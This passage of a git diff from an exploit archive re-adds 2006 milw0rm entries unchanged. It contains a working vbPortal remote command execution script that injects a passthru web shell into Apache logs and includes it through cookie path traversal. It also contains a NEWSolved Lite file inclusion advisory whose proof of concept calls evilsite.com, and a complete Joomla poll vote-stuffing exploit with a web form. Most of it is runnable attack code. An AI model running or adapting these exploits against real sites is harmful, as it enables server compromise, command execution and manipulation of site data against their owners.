-echo "[1] Injecting some code in log files...\r\n";
-$CODE ='suntzu<?php passthru($_GET[cmd]);die;?>suntzu';
-$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
-$packet.="User-Agent: ".$CODE."\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: close\r\n\r\n";
-#debug
-#echo quick_dump($packet);
-sendpacketii($packet);
-
-# fill with possible locations
-
-
-
-$paths= array (
-"../../../../../../../../../../usr/local/apache/logs/error_log",
-"../../../../../../../../../../etc/httpd/logs/error_log",
-"../../../../../../../../../../var/log/httpd/access_log",
-"../../../../../../../../../../var/log/httpd/error_log",
-"../apache/logs/error.log",
-"../apache/logs/access.log",
-"../../apache/logs/error.log",
-"../../apache/logs/access.log",
-"../../../apache/logs/error.log",
-"../../../apache/logs/access.log",
-"../../../../apache/logs/error.log",
-"../../../../apache/logs/access.log",
-"../../../../../apache/logs/error.log",
-"../../../../../apache/logs/access.log",
-"../logs/error.log",
-"../logs/access.log",
-"../../logs/error.log",
-"../../logs/access.log",
-"../../../logs/error.log",
-"../../../logs/access.log",
-"../../../../logs/error.log",
-"../../../../logs/access.log",
-"../../../../../logs/error.log",
-"../../../../../logs/access.log",
-"../../../../../logs/access_log",
-"../../../../../../../../../../etc/httpd/logs/acces_log",
-"../../../../../../../../../../etc/httpd/logs/acces.log",
-"../../../../../../../../../../etc/httpd/logs/error_log",
-"../../../../../../../../../../etc/httpd/logs/error.log",
-"../../../../../../../../../../var/www/logs/access_log",
-"../../../../../../../../../../var/www/logs/access.log",
-"../../../../../../../../../../usr/local/apache/logs/access_log",
-"../../../../../../../../../../usr/local/apache/logs/access.log",
-"../../../../../../../../../../var/log/apache/access_log",
-"../../../../../../../../../../var/log/apache/access.log",
-"../../../../../../../../../../var/log/access_log",
-"../../../../../../../../../../var/www/logs/error_log",
-"../../../../../../../../../../var/www/logs/error.log",
-"../../../../../../../../../../usr/local/apache/logs/error_log",
-"../../../../../../../../../../usr/local/apache/logs/error.log",
-"../../../../../../../../../../var/log/apache/error_log",
-"../../../../../../../../../../var/log/apache/error.log",
-"../../../../../../../../../../var/log/access_log",
-"../../../../../../../../../../var/log/error_log"
-
-
-);
-for ($i=0; $i<=count($paths)-1; $i++)
-{
-$a=$i+2;
-echo "[".$a."] trying with ".$paths[$i]."%00 ...\r\n";
-$packet ="GET ".$p."index.php?cmd=".$cmd." HTTP/1.0\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Cookie: bbvbplang=".$paths[$i]."%00;\r\n";
-$packet.="Connection: Close\r\n\r\n";
-//echo quick_dump($packet);
-sendpacketii($packet);
-if (strstr($html,"suntzu"))
-{
- echo "Exploit succeeded...\r\n";
- $temp=explode("suntzu",$html);
- die($temp[1]);
-}
-}
-//if you are here...
-echo "Exploit failed...";
-?>
-
-# milw0rm.com [2006-07-29]
+#!/usr/bin/php -q -d short_open_tag=on
+<?
+echo "vbPortal 3.0.2 <= 3.6.0 Beta 1 Remote Command Excution \r\n";
+echo "By R00t[ATI] Mail : havoc1988 [at] gmail [dot] com \r\n";
+echo "Thank you Minus-Power \r\n";
+echo "Thank you rgod for your clear samples \r\n";
+echo "site: http://www.rootshell.net \r\n\r\n";
+echo "-> this works with magic_quotes_gpc=Off\r\n";
+echo "dork: Portal By vbPortal Version 3.5.0 <= 3.6.0 Beta 1 \r\n";
+
+if ($argc<4) {
+echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
+echo "host:      target server (ip/hostname)\r\n";
+echo "path:      path to VbPortal\r\n";
+echo "cmd:       a shell command\r\n";
+echo "cookie:    Cookie name\r\n";
+echo "Options:\r\n";
+echo "   -p[port]:    specify a port other than 80\r\n";
+echo "   -P[ip:port]: specify a proxy\r\n";
+echo "Examples:\r\n";
+echo "php ".$argv[0]." localhost /vbportal/ vbblang cat /forums/includes/config.php\n";
+echo "php ".$argv[0]." localhost /vbportal/ vbblang ls -la -p81\r\n";
+echo "php ".$argv[0]." localhost / vbblang ls -la -P1.1.1.1:80\r\n";
+die;
+}
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout",5);
+
+function quick_dump($string)
+{
+  $result='';$exa='';$cont=0;
+  for ($i=0; $i<=strlen($string)-1; $i++)
+  {
+   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+   {$result.="  .";}
+   else
+   {$result.="  ".$string[$i];}
+   if (strlen(dechex(ord($string[$i])))==2)
+   {$exa.=" ".dechex(ord($string[$i]));}
+   else
+   {$exa.=" 0".dechex(ord($string[$i]));}
+   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
+  }
+ return $exa."\r\n".$result;
+}
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+function sendpacketii($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.$host.':'.$port; die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$proxy);
+    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+  #debug
+  #echo "\r\n".$html;
+}
+
+$host=$argv[1];
+$path=$argv[2];
+$cmd="";
+$port=80;
+$proxy="";
+
+for ($i=3; $i<=$argc-1; $i++){
+$temp=$argv[$i][0].$argv[$i][1];
+if (($temp<>"-p") and ($temp<>"-P"))
+{$cmd.=" ".$argv[$i];}
+if ($temp=="-p")
+{
+  $port=str_replace("-p","",$argv[$i]);
+}
+if ($temp=="-P")
+{
+  $proxy=str_replace("-P","",$argv[$i]);
+}
+}
+$cmd=urlencode($cmd);
+if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+
+echo "[1] Injecting some code in log files...\r\n";
+$CODE ='suntzu<?php passthru($_GET[cmd]);die;?>suntzu';
+$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
+$packet.="User-Agent: ".$CODE."\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: close\r\n\r\n";
+#debug
+#echo quick_dump($packet);
+sendpacketii($packet);
+
+# fill with possible locations
+
+
+
+$paths= array (
+"../../../../../../../../../../usr/local/apache/logs/error_log",
+"../../../../../../../../../../etc/httpd/logs/error_log",
+"../../../../../../../../../../var/log/httpd/access_log",
+"../../../../../../../../../../var/log/httpd/error_log",
+"../apache/logs/error.log",
+"../apache/logs/access.log",
+"../../apache/logs/error.log",
+"../../apache/logs/access.log",
+"../../../apache/logs/error.log",
+"../../../apache/logs/access.log",
+"../../../../apache/logs/error.log",
+"../../../../apache/logs/access.log",
+"../../../../../apache/logs/error.log",
+"../../../../../apache/logs/access.log",
+"../logs/error.log",
+"../logs/access.log",
+"../../logs/error.log",
+"../../logs/access.log",
+"../../../logs/error.log",
+"../../../logs/access.log",
+"../../../../logs/error.log",
+"../../../../logs/access.log",
+"../../../../../logs/error.log",
+"../../../../../logs/access.log",
+"../../../../../logs/access_log",
+"../../../../../../../../../../etc/httpd/logs/acces_log",
+"../../../../../../../../../../etc/httpd/logs/acces.log",
+"../../../../../../../../../../etc/httpd/logs/error_log",
+"../../../../../../../../../../etc/httpd/logs/error.log",
+"../../../../../../../../../../var/www/logs/access_log",
+"../../../../../../../../../../var/www/logs/access.log",
+"../../../../../../../../../../usr/local/apache/logs/access_log",
+"../../../../../../../../../../usr/local/apache/logs/access.log",
+"../../../../../../../../../../var/log/apache/access_log",
+"../../../../../../../../../../var/log/apache/access.log",
+"../../../../../../../../../../var/log/access_log",
+"../../../../../../../../../../var/www/logs/error_log",
+"../../../../../../../../../../var/www/logs/error.log",
+"../../../../../../../../../../usr/local/apache/logs/error_log",
+"../../../../../../../../../../usr/local/apache/logs/error.log",
+"../../../../../../../../../../var/log/apache/error_log",
+"../../../../../../../../../../var/log/apache/error.log",
+"../../../../../../../../../../var/log/access_log",
+"../../../../../../../../../../var/log/error_log"
+
+
+);
+for ($i=0; $i<=count($paths)-1; $i++)
+{
+$a=$i+2;
+echo "[".$a."] trying with ".$paths[$i]."%00 ...\r\n";
+$packet ="GET ".$p."index.php?cmd=".$cmd." HTTP/1.0\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Cookie: bbvbplang=".$paths[$i]."%00;\r\n";
+$packet.="Connection: Close\r\n\r\n";
+//echo quick_dump($packet);
+sendpacketii($packet);
+if (strstr($html,"suntzu"))
+{
+ echo "Exploit succeeded...\r\n";
+ $temp=explode("suntzu",$html);
+ die($temp[1]);
+}
+}
+//if you are here...
+echo "Exploit failed...";
+?>
+
+# milw0rm.com [2006-07-29]
diff --git a/platforms/php/webapps/2135.txt b/platforms/php/webapps/2135.txt
index 167ac64f0..5da4b5522 100755
--- a/platforms/php/webapps/2135.txt
+++ b/platforms/php/webapps/2135.txt
@@ -1,44 +1,44 @@
-+--------------------------------------------------------------------
-+
-+ NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion
-+
-+--------------------------------------------------------------------
-+
-+ Affected Software .: NEWSolved Lite v1.9.2 (maybe above)
-+ Venedor ...........: http://www.usolved.net
-+ Class .............: Remote File Inclusion
-+ Risk ..............: high (Remote File Execution)
-+ Found by ..........: Philipp Niedziela
-+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_286.htm
-+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
-+ http://www.bb-pcsecurity.de
-+
-+--------------------------------------------------------------------
-+
-+ Affected files:
-+
-+ newsscript_lyt.php
-+ newsticker/newsscript_get.php
-+ inc/output/news_theme1.php
-+ inc/output/news_theme2.php
-+ inc/output/news_theme3.php
-+
-+--------------------------------------------------------------------
-+
-+ $abs_path is not properly sanitized before being used
-+
-+--------------------------------------------------------------------
-+
-+ Solution:
-+
-+ Download Patch v1.9.3 and replace the files above.
-+
-+--------------------------------------------------------------------
-+
-+ PoC:
-+
-+ http://[target]/inc/output/news_theme1.php?abs_path=http://evilsite.com?cmd=ls
-+
-+-------------------------[ E O F ]----------------------------------
-
-# milw0rm.com [2006-08-07]
++--------------------------------------------------------------------
++
++ NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion
++
++--------------------------------------------------------------------
++
++ Affected Software .: NEWSolved Lite v1.9.2 (maybe above)
++ Venedor ...........: http://www.usolved.net
++ Class .............: Remote File Inclusion
++ Risk ..............: high (Remote File Execution)
++ Found by ..........: Philipp Niedziela
++ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_286.htm
++ Contact ...........: webmaster[at]bb-pcsecurity[.]de
++ http://www.bb-pcsecurity.de
++
++--------------------------------------------------------------------
++
++ Affected files:
++
++ newsscript_lyt.php
++ newsticker/newsscript_get.php
++ inc/output/news_theme1.php
++ inc/output/news_theme2.php
++ inc/output/news_theme3.php
++
++--------------------------------------------------------------------
++
++ $abs_path is not properly sanitized before being used
++
++--------------------------------------------------------------------
++
++ Solution:
++
++ Download Patch v1.9.3 and replace the files above.
++
++--------------------------------------------------------------------
++
++ PoC:
++
++ http://[target]/inc/output/news_theme1.php?abs_path=http://evilsite.com?cmd=ls
++
++-------------------------[ E O F ]----------------------------------
+
+# milw0rm.com [2006-08-07]
diff --git a/platforms/php/webapps/2219.php b/platforms/php/webapps/2219.php
index 3a6375ecb..a9330ec85 100755
--- a/platforms/php/webapps/2219.php
+++ b/platforms/php/webapps/2219.php
@@ -1,253 +1,253 @@
-<?php
-#          Joomla [poll component] add unlimited votes            #
-#            Computer Security Researchers Institute              #
-#              works regardless of php.ini settings               #
-#                          by trueend5                            #
-#                     [http://www.KAPDA.ir]                       #
-
-
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout", 2);
-ob_implicit_flush (1);
-
-echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
-<title>Joomla [poll component] arbitrary add votes</title>
-</head>
-<body bgcolor="#FFCCFF">
-<p align="center"><font size="4" color="#0000FF">Joomla&nbsp; [poll
-component] arbitrary add votes</font></p>
-<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
-<p align="center"><font size="4" color="#008000">Computer Security Researchers
-Institute</font></p>
-<font SIZE="3">
-<p align="center"><b><a href="http://www.kapda.ir"><font color="#000000">KAPDA</font></a>.ir</b></p>
-
-<p align="center">&nbsp;</p>
-</font>
-<table width="90%">
-  <tbody>
-    <tr>
-      <td width="43%" align="left">
-        <form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
-          <p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>
-
-          <p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex: /joomla/
-          or just / )</span></p>
-          <p><input name="pollid" size="20"> <span class="Stile5"><font color="#FF0000">
-			*</font> pollid (ex: index.php?option=com_poll&amp;task=results&amp;<b><font size="4">id=14</font></b> )</span></p>
-
-          <p><input name="voteid" size="20"><span class="Stile5"><font color="#FF0000">
-			*</font> voteid ( <b><u>1</u></b> for first option, <b><u>2</u></b>
-			for second one , <b><u>3</u></b> for third and so... )</span></p>
-
-			<p><input name="hits" size="20"><span class="Stile5"><font color="#FF0000">
-			*</font>
-			hits ( number of votes that you want to add ) </span></p>
-          <p><input name="port" size="20"><span class="Stile5">&nbsp;&nbsp;&nbsp; specify a port&nbsp;
-          (default: 80)</span></p>
-          <p><input name="proxy" size="20" ><span class="Stile5">&nbsp;&nbsp;&nbsp; send exploit
-          through an HTTP proxy (ip:port)</span></p>
-
-          <p align="center"> <span class="Stile5"><font color="#FF0000">&nbsp;&nbsp;
-          * </font>fields are required</span></p>
-          <p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>
-
-          <p><input type="submit" value="Start" name="Submit"></p>
-        </form></td></tr></tbody></table></body></html>';
-
-
-function show($headeri)
-{
-$ii=0;
-$ji=0;
-$ki=0;
-$ci=0;
-echo '<table border="0"><tr>';
-while ($ii <= strlen($headeri)-1)
-{
-$datai=dechex(ord($headeri[$ii]));
-if ($ji==16) {
-             $ji=0;
-             $ci++;
-             echo "<td>&nbsp;&nbsp;</td>";
-             for ($li=0; $li<=15; $li++)
-                      { echo "<td>".$headeri[$li+$ki]."</td>";
-			    }
-            $ki=$ki+16;
-            echo "</tr><tr>";
-            }
-if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
-{echo "<td>".$datai."</td> ";}
-$ii++;
-$ji++;
-}
-for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
-                      { echo "<td>&nbsp&nbsp</td>";
-                       }
-
-for ($li=$ci*16; $li<=strlen($headeri); $li++)
-                      { echo "<td>".$headeri[$li]."</td>";
-			    }
-echo "</tr></table>";
-}
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-
-function sendpacket() 
-
-{
-  global $proxy, $host, $port, $packet, $html, $proxy_regex;
-  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
-  if ($socket < 0) {
-                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
-                   }
-	      else
- 		  {   $c = preg_match($proxy_regex,$proxy);
-              if (!$c) {echo 'Not a valid proxy...';
-                        die;
-                       }
-                    echo "OK.<br>";
-                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
-                    if ($proxy=='')
-		   {
-		     $result = socket_connect($socket, $host, $port);
-		   }
-		   else
-		   {
-
-		   $parts =explode(':',$proxy);
-                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
-		   $result = socket_connect($socket, $parts[0],$parts[1]);
-		   }
-		   if ($result < 0) {
-                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
-                                    }
-	                       else
-		                    {
-                                     echo "OK.<br><br>";
-                                     $html= '';
-                                     socket_write($socket, $packet, strlen($packet));
-                                     echo "Reading response:<br>";
-                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
-                                     echo nl2br(htmlentities($html));
-                                     echo "Closing socket...";
-                                     socket_close($socket);
-
-				    }
-                  }
-}
-function sendpacketii($packet)
-{
-global $proxy, $host, $port, $html, $proxy_regex;
-if ($proxy=='')
-           {$ock=fsockopen(gethostbyname($host),$port);}
-             else
-           {
-	   $c = preg_match($proxy_regex,$proxy);
-              if (!$c) {echo 'Not a valid proxy...';
-                        die;
-                       }
-	   $parts=explode(':',$proxy);
-	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
-	    $ock=fsockopen($parts[0],$parts[1]);
-	    if (!$ock) { echo 'No response from proxy...';
-			die;
-		       }
-	   }
-fputs($ock,$packet);
-if ($proxy=='')
-  {
-
-    $html='';
-    while (!feof($ock))
-      {
-        $html.=fgets($ock);
-      }
-  }
-else
-  {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
-    {
-      $html.=fread($ock,1);
-    }
-  }
-fclose($ock);
-//echo nl2br(htmlentities($html));
-}
-
-  $host=trim($_POST[host]);
-  $path=trim($_POST[path]);
-  $port=intval(trim($_POST[port]));
-  $pollid=intval(trim($_POST[pollid]));
-  $voteid=intval(trim($_POST[voteid]));
-  $hits=intval(trim($_POST[hits]));
-if (($host<>'') and ($path<>'') and ($pollid<>'') and ($voteid<>'') and ($hits<>''))
-{
-  $host=str_replace("\r\n","",$host);
-  $path=str_replace("\r\n","",$path);
-  if ($port=='') {$port=80;}
-  if ($hits=='') {$hits=200;}
-  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
-  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-  $livesite=$host;
-  if ($path=='/') {$livepath='';} else $livepath=substr("$path", 0, strlen($path)-1);
-  $sessionpath='http://'.$livesite.$livepath;
-
-  $packet="HEAD ".$p."index.php HTTP/1.1\r\n";
-  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
-  $packet.="Host: ".$host."\r\n";
-  $packet.="Connection: Close\r\n\r\n";
-  show($packet);
-  sendpacketii($packet);
-  echo nl2br(htmlentities($html));
-
-  //trying to obtain cookiename from HEADER
-  $pattern="([a-z0-9]{32}=)";
-  if(preg_match($pattern, $html, $matches)) {$match=$matches[0];
-  $sessionCookieName=substr("$match", 0, strlen($match)-1);
-  } else
-  //trying to generate cookiename
-  {$sessionCookieName= md5( 'site'.$sessionpath );}
-
-  for ($t = 14; $t < $pollid; $t++) {$voteid=$voteid + 12;}
-  $data="voteid=".$voteid."";
-  $packet="POST ".$p."index.php?option=com_poll&task=vote&id=".$pollid."&".$sessionCookieName."=1 HTTP/1.0\r\n";
-  $packet.="Host: ".$host."\r\n";
-  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
-  $packet.="Content-Length: ".strlen($data)."\r\n";
-  $packet.="Connection: Close\r\n\r\n";
-  $packet.=$data;
-  show($packet);
-  sendpacketii($packet);
-  echo nl2br(htmlentities($html));
-
-  if (!eregi("Location",$html)) {
-  echo "\n\nExploit failed..."; die();
- }
-                           else {
-  for ($n = 2; $n <= $hits; $n++) {
-  
-  $data="voteid=".$voteid."";
-  $packet="POST ".$p."index.php?option=com_poll&task=vote&id=".$pollid."&".$sessionCookieName."=1 HTTP/1.0\r\n";
-  $packet.="Host: ".$host."\r\n";
-  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
-  $packet.="Content-Length: ".strlen($data)."\r\n";
-  $packet.="Connection: Close\r\n\r\n";
-  $packet.=$data;
-  sendpacketii($packet);
-
-  if (!eregi("Location",$html)) {
-  echo "\n\nExploit failed..."; die();
-   }
-  echo "<br />".$n.":added.";
- }
-                            echo "<br /> Exploit succeeded <br />";
-                            echo'<p align="center"><a href="'.$sessionpath.'/index.php?option=com_poll&task=results&id='.$pollid.'"><font color="#0000FF">Results</font></a></p>';
-                            }
-}
-else
-{echo 'Fill in requested fields, optionally specify a proxy';}
-?>
-
-# milw0rm.com [2006-08-19]
+<?php
+#          Joomla [poll component] add unlimited votes            #
+#            Computer Security Researchers Institute              #
+#              works regardless of php.ini settings               #
+#                          by trueend5                            #
+#                     [http://www.KAPDA.ir]                       #
+
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout", 2);
+ob_implicit_flush (1);
+
+echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
+<title>Joomla [poll component] arbitrary add votes</title>
+</head>
+<body bgcolor="#FFCCFF">
+<p align="center"><font size="4" color="#0000FF">Joomla&nbsp; [poll
+component] arbitrary add votes</font></p>
+<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
+<p align="center"><font size="4" color="#008000">Computer Security Researchers
+Institute</font></p>
+<font SIZE="3">
+<p align="center"><b><a href="http://www.kapda.ir"><font color="#000000">KAPDA</font></a>.ir</b></p>
+
+<p align="center">&nbsp;</p>
+</font>
+<table width="90%">
+  <tbody>
+    <tr>
+      <td width="43%" align="left">
+        <form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
+          <p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>
+
+          <p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex: /joomla/
+          or just / )</span></p>
+          <p><input name="pollid" size="20"> <span class="Stile5"><font color="#FF0000">
+			*</font> pollid (ex: index.php?option=com_poll&amp;task=results&amp;<b><font size="4">id=14</font></b> )</span></p>
+
+          <p><input name="voteid" size="20"><span class="Stile5"><font color="#FF0000">
+			*</font> voteid ( <b><u>1</u></b> for first option, <b><u>2</u></b>
+			for second one , <b><u>3</u></b> for third and so... )</span></p>
+
+			<p><input name="hits" size="20"><span class="Stile5"><font color="#FF0000">
+			*</font>
+			hits ( number of votes that you want to add ) </span></p>
+          <p><input name="port" size="20"><span class="Stile5">&nbsp;&nbsp;&nbsp; specify a port&nbsp;
+          (default: 80)</span></p>
+          <p><input name="proxy" size="20" ><span class="Stile5">&nbsp;&nbsp;&nbsp; send exploit
+          through an HTTP proxy (ip:port)</span></p>
+
+          <p align="center"> <span class="Stile5"><font color="#FF0000">&nbsp;&nbsp;
+          * </font>fields are required</span></p>
+          <p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>
+
+          <p><input type="submit" value="Start" name="Submit"></p>
+        </form></td></tr></tbody></table></body></html>';
+
+
+function show($headeri)
+{
+$ii=0;
+$ji=0;
+$ki=0;
+$ci=0;
+echo '<table border="0"><tr>';
+while ($ii <= strlen($headeri)-1)
+{
+$datai=dechex(ord($headeri[$ii]));
+if ($ji==16) {
+             $ji=0;
+             $ci++;
+             echo "<td>&nbsp;&nbsp;</td>";
+             for ($li=0; $li<=15; $li++)
+                      { echo "<td>".$headeri[$li+$ki]."</td>";
+			    }
+            $ki=$ki+16;
+            echo "</tr><tr>";
+            }
+if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
+{echo "<td>".$datai."</td> ";}
+$ii++;
+$ji++;
+}
+for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
+                      { echo "<td>&nbsp&nbsp</td>";
+                       }
+
+for ($li=$ci*16; $li<=strlen($headeri); $li++)
+                      { echo "<td>".$headeri[$li]."</td>";
+			    }
+echo "</tr></table>";
+}
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+
+function sendpacket() 
+
+{
+  global $proxy, $host, $port, $packet, $html, $proxy_regex;
+  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
+  if ($socket < 0) {
+                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
+                   }
+	      else
+ 		  {   $c = preg_match($proxy_regex,$proxy);
+              if (!$c) {echo 'Not a valid proxy...';
+                        die;
+                       }
+                    echo "OK.<br>";
+                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
+                    if ($proxy=='')
+		   {
+		     $result = socket_connect($socket, $host, $port);
+		   }
+		   else
+		   {
+
+		   $parts =explode(':',$proxy);
+                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
+		   $result = socket_connect($socket, $parts[0],$parts[1]);
+		   }
+		   if ($result < 0) {
+                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
+                                    }
+	                       else
+		                    {
+                                     echo "OK.<br><br>";
+                                     $html= '';
+                                     socket_write($socket, $packet, strlen($packet));
+                                     echo "Reading response:<br>";
+                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
+                                     echo nl2br(htmlentities($html));
+                                     echo "Closing socket...";
+                                     socket_close($socket);
+
+				    }
+                  }
+}
+function sendpacketii($packet)
+{
+global $proxy, $host, $port, $html, $proxy_regex;
+if ($proxy=='')
+           {$ock=fsockopen(gethostbyname($host),$port);}
+             else
+           {
+	   $c = preg_match($proxy_regex,$proxy);
+              if (!$c) {echo 'Not a valid proxy...';
+                        die;
+                       }
+	   $parts=explode(':',$proxy);
+	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
+	    $ock=fsockopen($parts[0],$parts[1]);
+	    if (!$ock) { echo 'No response from proxy...';
+			die;
+		       }
+	   }
+fputs($ock,$packet);
+if ($proxy=='')
+  {
+
+    $html='';
+    while (!feof($ock))
+      {
+        $html.=fgets($ock);
+      }
+  }
+else
+  {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
+    {
+      $html.=fread($ock,1);
+    }
+  }
+fclose($ock);
+//echo nl2br(htmlentities($html));
+}
+
+  $host=trim($_POST[host]);
+  $path=trim($_POST[path]);
+  $port=intval(trim($_POST[port]));
+  $pollid=intval(trim($_POST[pollid]));
+  $voteid=intval(trim($_POST[voteid]));
+  $hits=intval(trim($_POST[hits]));
+if (($host<>'') and ($path<>'') and ($pollid<>'') and ($voteid<>'') and ($hits<>''))
+{
+  $host=str_replace("\r\n","",$host);
+  $path=str_replace("\r\n","",$path);
+  if ($port=='') {$port=80;}
+  if ($hits=='') {$hits=200;}
+  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+  $livesite=$host;
+  if ($path=='/') {$livepath='';} else $livepath=substr("$path", 0, strlen($path)-1);
+  $sessionpath='http://'.$livesite.$livepath;
+
+  $packet="HEAD ".$p."index.php HTTP/1.1\r\n";
+  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
+  $packet.="Host: ".$host."\r\n";
+  $packet.="Connection: Close\r\n\r\n";
+  show($packet);
+  sendpacketii($packet);
+  echo nl2br(htmlentities($html));
+
+  //trying to obtain cookiename from HEADER
+  $pattern="([a-z0-9]{32}=)";
+  if(preg_match($pattern, $html, $matches)) {$match=$matches[0];
+  $sessionCookieName=substr("$match", 0, strlen($match)-1);
+  } else
+  //trying to generate cookiename
+  {$sessionCookieName= md5( 'site'.$sessionpath );}
+
+  for ($t = 14; $t < $pollid; $t++) {$voteid=$voteid + 12;}
+  $data="voteid=".$voteid."";
+  $packet="POST ".$p."index.php?option=com_poll&task=vote&id=".$pollid."&".$sessionCookieName."=1 HTTP/1.0\r\n";
+  $packet.="Host: ".$host."\r\n";
+  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
+  $packet.="Content-Length: ".strlen($data)."\r\n";
+  $packet.="Connection: Close\r\n\r\n";
+  $packet.=$data;
+  show($packet);
+  sendpacketii($packet);
+  echo nl2br(htmlentities($html));
+
+  if (!eregi("Location",$html)) {
+  echo "\n\nExploit failed..."; die();
+ }
+                           else {
+  for ($n = 2; $n <= $hits; $n++) {
+  
+  $data="voteid=".$voteid."";
+  $packet="POST ".$p."index.php?option=com_poll&task=vote&id=".$pollid."&".$sessionCookieName."=1 HTTP/1.0\r\n";
+  $packet.="Host: ".$host."\r\n";
+  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
+  $packet.="Content-Length: ".strlen($data)."\r\n";
+  $packet.="Connection: Close\r\n\r\n";
+  $packet.=$data;
+  sendpacketii($packet);
+
+  if (!eregi("Location",$html)) {
+  echo "\n\nExploit failed..."; die();
+   }
+  echo "<br />".$n.":added.";
+ }
+                            echo "<br /> Exploit succeeded <br />";
+                            echo'<p align="center"><a href="'.$sessionpath.'/index.php?option=com_poll&task=results&id='.$pollid.'"><font color="#0000FF">Results</font></a></p>';
+                            }
+}
+else
+{echo 'Fill in requested fields, optionally specify a proxy';}
+?>
+
+# milw0rm.com [2006-08-19]
diff --git a/platforms/php/webapps/2252.pl b/platforms/php/webapps/2252.pl
index 861d11867..9eb1a898c 100755
--- a/platforms/php/webapps/2252.pl
+++ b/platforms/php/webapps/2252.pl
@@ -1,109 +1,109 @@
-#!/usr/bin/perl
-#
-# WIKEPAGE <= V2006.2a Opus 10 Remote Command Execution Exploit
-# -------------------------------------------------------------
